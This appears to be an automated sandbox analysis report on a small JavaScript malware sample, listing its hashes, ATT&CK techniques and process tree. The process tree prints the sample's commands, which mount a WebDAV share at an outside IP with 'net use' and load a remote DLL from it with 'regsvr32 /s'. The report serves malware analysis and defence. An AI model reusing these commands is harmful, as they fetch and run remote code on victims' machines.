c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec

Analysis

max time kernel
13s
max time network
20s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
09-07-2024 04:58

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General

Target

20938134991977716147.js
Size

5KB
MD5

44767fb1f3ad3064791b10ad7eb09b47
SHA1

3e502e4d877970a6b80c88d168ad314d7fbfc525
SHA256

c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec
SHA512

5657d875db17f67decf9c63f2e07054dd5ba41a1844ed3318afa64352ff7dfb40753ce98e33a1fa535ab2d533f77f38af0282b8e701962d975244368577abb83
SSDEEP

96:zB/FKshkndFToddKEEEKoNw7ddKEEEsR2TEIDeEdhqx5nh7esM0nklM0S:ZAshknfoddAhdduRqEcewhqPnh7I0nkc

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2624	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1628 wrote to memory of 1320	1628	wscript.exe	29
PID 1628 wrote to memory of 1320	1628	wscript.exe	29
PID 1628 wrote to memory of 1320	1628	wscript.exe	29
PID 1320 wrote to memory of 2680	1320	cmd.exe	31
PID 1320 wrote to memory of 2680	1320	cmd.exe	31
PID 1320 wrote to memory of 2680	1320	cmd.exe	31
PID 1320 wrote to memory of 2624	1320	cmd.exe	32
PID 1320 wrote to memory of 2624	1320	cmd.exe	32
PID 1320 wrote to memory of 2624	1320	cmd.exe	32
PID 1320 wrote to memory of 2624	1320	cmd.exe	32
PID 1320 wrote to memory of 2624	1320	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\20938134991977716147.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\20938134991977716147.js" "C:\Users\Admin\\opikec.bat" && "C:\Users\Admin\\opikec.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1320
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2680
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\572.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\opikec.bat

Filesize
5KB

MD5
44767fb1f3ad3064791b10ad7eb09b47

SHA1
3e502e4d877970a6b80c88d168ad314d7fbfc525

SHA256
c166771c08112b4e8da27d0f463f22a67e5ad6f3decbc9c4b3f9489e59fb3cec

SHA512
5657d875db17f67decf9c63f2e07054dd5ba41a1844ed3318afa64352ff7dfb40753ce98e33a1fa535ab2d533f77f38af0282b8e701962d975244368577abb83

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